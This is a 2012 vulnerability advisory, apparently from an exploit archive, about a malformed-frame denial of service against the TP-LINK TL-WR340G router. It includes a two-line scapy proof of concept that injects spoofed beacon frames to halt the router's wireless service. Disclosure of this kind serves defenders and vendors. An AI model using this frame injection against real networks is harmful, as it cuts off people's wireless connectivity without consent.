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TP-LINK TL-WR340G Denial Of Service

TP-LINK TL-WR340G Denial Of Service
Posted Sep 6, 2012
Authored by Adam P.

The TP-LINK TL-WR340G SOHO router version 4.7.11 suffers from a malformed packet denial of service vulnerability.

tags | exploit, denial of service
SHA-256 | f2ab91cefb5d3c34ef3c5f25631dee0fbc99006715f4802a13aa94c5acc61698

TP-LINK TL-WR340G Denial Of Service

Change Mirror Download
=== intro ===

TP-LINK TL-WR340G is a SOHO router with integrated IEEE 802.11b/g AP.
Now it's marked End-of-Life.

Transmitting crafted frames in proximity of working router cause device
to malfunction. Wireless communication stops, existing clients don't
receive frames from AP ( except beacons ), new clients can't connect.


=== details ===

Affected product: TL-WR340G Wireless router
Firm Version: 4.7.11 Build 101102 Rel.60376n
Hardware Version: WR340G v3
Local/remote: Local ( wirelessly )

Vulnerability can be spotted by crafting and transmitting frame with scapy:

>> fr = RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2="<AP
MAC>",addr3="<AP MAC>")/Dot11Beacon()/Dot11Elt()
>> sendp(fr,iface="injection capable wireless interface",count=5)

Attacker could cease wireless traffic. To resume AP functionality user
must restart wireless interface in WebGUI or restart device.


=== time-line ===
2.08.2012 - vendor notified
4.09.2012 - no response from vendor, published


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